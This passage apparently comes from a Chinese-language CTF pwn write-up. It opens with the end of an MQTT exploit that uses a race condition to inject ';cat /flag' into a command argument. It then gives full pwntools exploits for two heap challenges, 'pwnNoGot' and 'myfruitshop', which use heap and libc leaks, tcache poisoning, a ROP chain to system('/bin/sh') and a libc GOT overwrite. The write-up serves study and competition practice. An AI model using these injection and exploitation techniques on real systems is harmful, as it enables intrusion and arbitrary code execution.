    print(f"FLAG FOUND: {msg.payload.decode()}")

client = mqtt.Client(client_id)
client.on_connect = on_connect
client.on_message = on_message

#指定端口
client.connect(broker, port, 60)  # 9999端口(不能省略)

#arg必须10+位 (原9位非法)
valid_arg = "1234567890123"  # 10位合法字符串

#先发送合法命令触发sleep
auth = compute_hash(vin)
cmd1 = {
    'auth': auth,
    'cmd': 'set_vin',
    'arg': valid_arg,
}
client.publish('diag', dumps(cmd1))
#pause()
print("Sent first command (valid arg, 10 chars)")

#0.5秒后发送注入命令
time.sleep(0.5)
cmd2 = {
    'auth': auth,
    'cmd': 'set_vin',
    'arg': f"{valid_arg};cat /flag"  # 注入点
}
client.publish('diag', dumps(cmd2))
print("Sent injection command (race condition)")

try:
    print("Waiting for flag (up to 5 seconds)...")
    client.loop_start()
    time.sleep(5)  #等待足够时间获取flag
except KeyboardInterrupt:
    pass
finally:
    client.loop_stop()
    client.disconnect()

FOUR:结构数

  • insert(BstTreeNode **T, int value): 插入新节点到BST
  • midTree(BstTreeNode *T): 中序遍历BST并打印
  • destoryNode(BstTreeNode *T, int val): 删除BST中指定值的节点
  • searchTree(BstTreeNode *T, int val): 在BST中查找指定值的节点
  • editTree(BstTreeNode *T, int val): 编辑BST中指定值的节点

下面这个是用户的操作的额函数

  • editIntroduce(): 编辑管理员的个人介绍
  • showIntroduce(): 显示管理员的个人介绍
  • AdminCheck(BstTreeNode *T): 管理员身份验证
  • creatAdmin(): 创建管理员账户
  • creatUser(): 创建普通用户账户
  • init(): 程序初始化函数
  • menu(): 显示主菜单
  • insertTree(BstTreeNode **T): 插入BST节点

下面这个操作的流程

  1. 初始化阶段:
  • 禁用输入/输出缓冲
  • 创建用户(调用creatUser())
  • 创建初始BST(值为3和2)
  • 显示初始树
  1. 主循环阶段:
  • 显示菜单
  • 根据用户选择执行相应操作:
  • 1: 插入新节点
  • 2: 中序遍历显示树
  • 3: 删除节点
  • 4: 编辑节点
  • 5: 进入管理员模式
  1. 管理员模式:
  • 输入密码验证
  • 验证成功后显示管理员菜单
  • 管理员可以:
  • 编辑个人介绍
  • 查看个人介绍
  • 插入树节点
  • 显示树
  • 删除节点
  • 编辑节点

核心就是我们通过树管理器的工作模式,让右指针清零;清零之后指向的空间不重要。清零之前让申请出来的val最大的堆块使用假的chunk,这个最重要。

然后我们依据这个逻辑泄露出来stack打stack劫持就行

exp如下

from pwn import *

p=process('./pwnNoGot')

e=ELF('./pwnNoGot')

context(arch='amd64', os='linux',log_level='debug')

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def init():
    p.recvuntil('please input your name\n')

    p.sendline('1')

    p.recvuntil('please input your sex\n')
    p.sendline('1')

    p.recvuntil('please input your introduce\n')
    p.sendline('1')

    p.recvuntil('please input your password\n')
    p.sendline('1')


def insert(val):
    p.recvuntil('choice >>\n')
    p.sendline('1')
    p.recvuntil('value?\n')
    p.sendline(str(val))

def midShow():
    p.recvuntil('choice >>\n')
    p.sendline('2')

def destory():
    p.recvuntil('choice >>\n')
    p.sendline('3')

def edit():
    p.recvuntil('choice >>\n')
    p.sendline('4')

def admin():
    p.recvuntil('choice >>\n')
    p.sendline('5')

def adminFree(value):
    p.recvuntil(b'choice\n')
    p.sendline('5')
    p.recvuntil(b'val?\n')
    p.sendline(str(value))

def adminInsert(value):
    p.recvuntil(b'choice\n')
    p.sendline('3')
    p.recvuntil(b'value?\n')
    p.sendline(str(value))

def adminDestory(value):
    p.recvuntil(b'choice\n')
    p.sendline('5')
    p.recvuntil(b"val?\n")
    p.sendline(str(value))

#-------------------------------------------------------------
init()
admin()
p.sendline('1')
for i in range(4,12):
    insert(i)
#################连续调用一大串函数导致的溢出###############
insert(1)
insert(144)
insert(133)
insert(146) #########从这里之后都有溢出
insert(134)
insert(0)
insert(121)
insert(120)
insert(122)
insert(119)
insert(123)
insert(118)
insert(124)
insert(117)
insert(125)
insert(116)
insert(126)
insert(115)
insert(127)
#gdb.attach(p,'b *0x40197A')
#gdb.attach(p,"b *0x4016AB")
#gdb.attach(p,"b *0x4019C5")#0x4016FA
#gdb.attach(p,"b *0x4016FA")
#sleep(2)

#-------------------------------------------------------------
password=p64(0)+p64(0)+p64(0x21)+p64(0x86)+p64(0)+p64(0)+p64(0x21)
password = password.ljust(63,b'\x00')+p64(0x401749)
admin()
p.send(password)
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
p.recv(4)
heap_addr=u64((p.recv(6)).ljust(8,b'\x00'))-0xb30
log.success("heap : "+hex(heap_addr))
#-------------------------------------------------------------
adminFree(121)
adminFree(120)
adminFree(119)
#########通过这里实现的错位#################
#-------------------------------------------------------------
#-------------------------------------------------------------
admin_ptr_addr=0x405060-0x10
payload=p32(0)+p64(0)+p64(0x21)+p64((heap_addr>>12)^admin_ptr_addr)       #一个改堆
p.recvuntil(b'choice\n')
p.sendline('1')
p.send(payload)

############往堆地址里面写入数值#############
#-------------------------------------------------------------
adminInsert(155) #这个是正好到那个位置
adminInsert(156)
adminDestory(11)
adminDestory(10)
###########重新调整一下树结构的顺序###################

adminInsert(0x405050-0xac)        #溢出改栈
#gdb.attach(p,"b *0x401686")
#sleep(2)
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
p.recv(8)
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))#u64(p.recv(6).ljust(8,b'\x00'))
print("stack = ",hex(stack))
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('6')  #edit       #并不是直接影响的
p.recvuntil(b"val?")
p.sendline(str(0x405050-0xac))
p.sendline(str(0x405040-0xac))  #换了一个位置

#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x21b6a0
log.success("libc: "+hex(libc.address))

#-------------------------------------------------------------
adminFree(9)

#-------------------------------------------------------------
bin_sh=0xb00+heap_addr
p.recvuntil(b'choice\n')
p.sendline('6')
p.recvuntil(b"val?")
p.sendline(str(0x405040-0xac))
p.sendline(str(bin_sh-0xac))   #换了一个位置
p.recvuntil(b'choice\n')
p.sendline('1')
p.sendline(p64(stack+0x90-0xac))
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('6')
p.recvuntil(b"val?")
p.sendline(str(bin_sh-0xac))
p.sendline(str(0x405060-0xac))   #换了一个位置
p.recvuntil(b'choice\n')
p.sendline('1')
p.sendline(p64(0xb00+heap_addr))  #这个地址存储了栈地址
#-------------------------------------------------------------
gdb.attach(p,"b *0x401683")
sleep(2)
p.sendline('1')
rop = flat(0x000000000040101a,0x000000000040101a,libc.address+0x000000000002a3e5,next(libc.search(b"/bin/sh\x00")),0x000000000040101a,libc.sym['system'])
p.sendline(rop)
#-------------------------------------------------------------------

p.interactive()

FIVE:myfruitshop

今天来看看这个题目

apple=apple=1

这样之后的话就清晰了这个题目,我们可以利用这个存储算法的逻辑的漏洞来达到任意写的目的

里面有一个循环,是一个数据处理清洗逻辑的

      while ( 1 )
      {
        s2 = dest_1;
        for ( i = 0; dest_1[i] != '=' && dest_1[i] != ':' && dest_1[i]; ++i )
          ;
        if ( !dest_1[i] )
          break;
        if ( dest_1[i] == 58 )
        {
          dest_1 += i + 1;
        }
        else
        {
          dest_1 += i + 1;
          for ( j = 0; dest_1[j] != ':' && dest_1[j]; ++j )
            ;
          for ( n9 = 0; n9 <= 9; ++n9 )
          {
            _Apple_ = strlen(&aApple[32 * n9]); // "Apple"
            if ( !strncmp(&aApple[32 * n9], s2, _Apple_) )// "Apple"
            {
              if ( v10 )
              {
                v2 = v10++;
                dest[v2] = 58;
              }
              _Apple__1 = &aApple[32 * n9];     // "Apple"
              while ( *_Apple__1 )
              {
                v3 = _Apple__1++;
                v4 = v10++;
                dest[v4] = *v3;
              }
              v5 = v10++;
              dest[v5] = '=';
              for ( k = 0; k < j; ++k )
              {
                v6 = v10++;
                dest[v6] = dest_[dest_1 - dest + k];
              }
            }
          }
          if ( dest_1[j] )
            dest_1 += j + 1;
        }
      }

将可能混乱的输入格式(如 "Apple1=5,Banana=3:Orange2=4,Apple=2")标准化为规范格式(如 "Apple=5:Banana=3:Apple=2"),同时过滤掉非法的水果名,确保只有系统认可的水果类型被保存。

这个有点麻烦看起来,让ai简化一下逻辑之后我们运行一下看看这一块的实际的效果

之后我们根据实际运行的效果定义一下交互的逻辑

这里是我们的定义的效果,我们可以通过这个去和程序进行交互

def cmd(choice):
    rt(">")
    sl(str(choice))

def add(content):
    cmd(1)
    rt("This is the fruit and price stocked on day")
    s(content)

def show(idx):
    cmd(2)
    rt("Please enter the day number")
    sl(str(idx))

def edit(idx,content):
    cmd(3)
    rt("which day?")
    sl(str(idx))
    rt("please edit")
    s(content)

为了获得内存级的理解,我们需要去调试一下程序

这个不仅没有free,也没有正常的show功能

unsigned __int64 show()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Please enter the day number");
  __isoc99_scanf("%llu");
  if ( !heaplist[0] )
  {
    puts("error");
    _exit(0);
  }
  printf("This is the fruit and price stocked on day %d\n", 0);
  puts((const char *)heaplist[0]);
  return v1 - __readfsqword(0x28u);
}

这里有一个既定的水果数组

.data:0000000000004020 aApple          db 'Apple',0            ; DATA XREF: add+356↑o
.data:0000000000004020                                         ; edit+3B2↑o
.data:0000000000004026                 align 20h
.data:0000000000004040 aBanana         db 'Banana',0
.data:0000000000004047                 align 20h
.data:0000000000004060 aOrange         db 'Orange',0
.data:0000000000004067                 align 20h
.data:0000000000004080 aPeach          db 'Peach',0
.data:0000000000004086                 align 20h
.data:00000000000040A0 aWatermelon     db 'Watermelon',0
.data:00000000000040AB                 align 20h
.data:00000000000040C0 aGrape          db 'Grape',0
.data:00000000000040C6                 align 20h
.data:00000000000040E0 aMango          db 'Mango',0
.data:00000000000040E6                 align 20h
.data:0000000000004100 aStrawberry     db 'Strawberry',0
.data:000000000000410B                 align 20h
.data:0000000000004120 aPineapple      db 'Pineapple',0
.data:000000000000412A                 align 20h
.data:0000000000004140 aLemon          db 'Lemon',0
.data:0000000000004146                 align 20h

我们可以利用那个逻辑,然后利用这个

              for ( k = 0; k < j; ++k )
              {
                v6 = v10++;
                data_ptr[v6] = dest_[dest_1 - data_ptr + k];
              }

这里进行溢出,越界修改即可,利用数据进行填空

源码的话差不多是这样的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 假设 fruit 结构体定义如下
typedef struct {
    const char *Name;
} fruit;

// 全局变量
char buf[0x2000];
int nread = 0;
char *inputArr[100]; // 存储解析后的 name=value 字符串
char val[0x2000];     // 临时存储 value 部分
size_t size[100];      // 记录每个条目的大小
fruit List[] = {
    {"apple"},
    {"banana"},
    {"orange"},
    // 更多水果...
};

// 主函数或处理函数
void process_input(size_t idx) {
    // 1. 提示用户输入
    puts("Please enter the fruit you want to stock and its price");
    puts("Input format: name=value:name2=value2:......");
    printf("This is the fruit and price stocked on day %d\n", idx);

    // 2. 读取输入
    nread = read(0, buf, 0x2000);
    if (nread < 0) {
        puts("error");
        return;
    }

    // 3. 分配内存存储输入
    char *str = malloc(nread + 1);
    if (!str) {
        puts("error");
        _exit(0);
    }

    // 4. 复制数据到 str 和 val
    memcpy(str, buf, nread);
    str[nread] = '\0';
    memcpy(val, buf, nread);

    // 5. 开始解析
    char *p = str;
    size_t off = 0;

    while (1) {
        char *name = p;           // 当前 name 的起始地址
        size_t len = 0;

        // 找到 name 的结束(遇到 '=' 或 ':' 或 '\0')
        while (p[len] != '=' && p[len] != ':' && p[len] != '\0') {
            len++;
        }

        if (p[len] == '\0') {
            // 表示当前字段是最后一个,但没有 '=' → 错误或不完整
            str[off] = '\0';
            inputArr[idx++] = str;
            memset(val, 0, sizeof(val));
            return;
        }

        // 跳过 name 和 '='
        p += len + 1;             // 移动到 value 开始处
        char *value = &val[p - str]; // value 在 val 中的偏移
        len = 0;

        // 找到 value 的结束(遇到 ':' 或 '\0')
        while (p[len] != ':' && p[len] != '\0') {
            len++;
        }

        // 查找匹配的 fruit 名称
        for (size_t i = 0; i < sizeof(List) / sizeof(fruit); i++) {
            fruit *cur = &List[i];

            if (!strncmp(cur->Name, name, strlen(cur->Name))) {
                // 匹配成功!

                if (off > 0)
                    str[off++] = ':';

                const char *n = cur->Name;
                while (*n != '\0')
                    str[off++] = *n++;

                str[off++] = '=';
                for (size_t j = 0; j < len; j++)
                    str[off++] = value[j];
            }
        }

        // 如果还没到字符串结尾,跳过冒号继续
        if (p[len] != '\0') {
            p += len + 1;
        } else {
            break;
        }
    }

    // 最终设置字符串结束
    str[off] = '\0';
    inputArr[idx++] = str;
    memset(val, 0, sizeof(val));
}

流程的话差不多是这样

1. 用户输入:apple=5.99:banana=3.49
2. 读取到 buf
3. 分配 str 和 val 缓冲区
4. 循环解析:
   - 找到 name(apple)
   - 找到 value(5.99)
   - 在 List 中查找 "apple"
   - 若找到,构建输出:apple=5.99
5. 继续下一个字段
6. 最终将结果存入 inputArr

这里是我们溢出并且把topchunk申请出来

然后我们修改一

libc = ELF('./libc.so.6')
pd=b'Apple =1Orange1=1234567\x41\x0d'        #溢出两个的
add(pd)


pd=b'a'*0x1000
add(pd)


pd=b'Apple =1Orange1=1234'+b'56789012'      #溢出八个的
edit(1,pd)
show(1)


rt(b"012")
rt(b"012")
lib=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
log.success("addr : 0x%x"%lib)


pd=b'Apple = Apple=\x00\x00'    ##溢出八个0的
edit(1,pd)


pd=b'Apple =1Orange1=1234567\x21\x0d'        #溢出两个的
edit(1,pd)


pd=b'a'*(0xd20-0x40)
add(pd)


pd=b'Apple =1Orange1=1234567\x41\x0d'        #溢出两个的
add(pd)


add(b'a'*0x2f)
add(b'a'*0xdff)


pd=b'Apple =1Orange1=1234567\x71\x01'        #溢出两个的
add(pd)
edit(7,"enter")


add(b'a'*0xdff)

environ=libc.symbols['environ']+lib
pad=b'Apple =1Orange1=1234'+b'56789012'      #溢出八个的
edit(7,pd)

最后效果如下,修改got表即可

这里最后选择的修改libc中的got表,因为开启了pie,程序基址的got表不好泄露

又因为版本很高,hook也不好打,stack不好去泄露

所以说我们最后选择打got表

from pwn import *
io = process("./pwn")
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
rt = lambda x: io.recvuntil(x)
s  = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
def cmd(choice):
    rt(">")
    sl(str(choice))

def add(content):
    cmd(1)
    rt("This is the fruit and price stocked on day")
    s(content)

def show(idx):
    cmd(2)
    rt("Please enter the day number\n")
    sl(str(idx))

def edit(idx,content):
    cmd(3)
    rt("which day?")
    sl(str(idx))
    rt("please edit")
    s(content)
''''''

libc = ELF('./libc.so.6')
pd=b'Apple =1Orange1=1234567\x41\x0d'        #溢出两个的
# pd=b'a'*0x28
add(pd)
#gdb.attach(io)

pd=b'a'*0x1000
add(pd)



pd=b'Apple =1Orange1=1234'+b'56789012'      #溢出八个的
edit(1,pd)
show(1)

io.recvuntil(b"012")
io.recvuntil(b"012")
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
log.success("addr : 0x%x"%libc.address)


pd=b'Apple = Apple=\x00\x00'    ##溢出八个0的
edit(1,pd)

pd=b'Apple =1Orange1=1234567\x21\x0d'        #溢出两个的
# pd=b'a'*0x28
edit(1,pd)


#
pd=b'a'*(0xd20-0x40)
add(pd)



pd=b'Apple =1Orange1=1234567\x41\x0d'        #溢出两个的
# pd=b'a'*0x28
add(pd)


add(b'a'*0x2f)
add(b'a'*0xdff)

pd=b'Apple =1Orange1=1234567\x71\x01'        #溢出两个的

add(pd)
edit(7,"enter")


add(b'a'*0xdff)

environ=libc.symbols['environ']

pd=b'Apple =1Orange1=1234'+b'56789012'      #溢出八个的
edit(7,pd)
show(7)

rt(b"012")
rt(b"012")
heap=u64(io.recv(5).ljust(8,b'\x00'))
heap=heap<<12
heap=heap-0x22000
log.success("heapaddr : 0x%x"%heap)


add(b'a'*0x2f)
add(b'a'*0xfff)

pd=b'Apple =1Orange1=1234567\x71\x01'        #溢出两个的

add(pd)
edit(10,"enter")

add(b'a'*0xdff)

libcgot=0x21A090+libc.address


key=heap+0x44ea0
key=key>>12
pd=b'Apple =1Orange1=123456789'+ p64(libcgot^key) #溢出14个的
edit(11,pd)
gdb.attach(io)
add(b'a'*0x138)
add(p64(libc.address+0xebc88)*6+b'1'*0x108)

io.interactive()

six:vm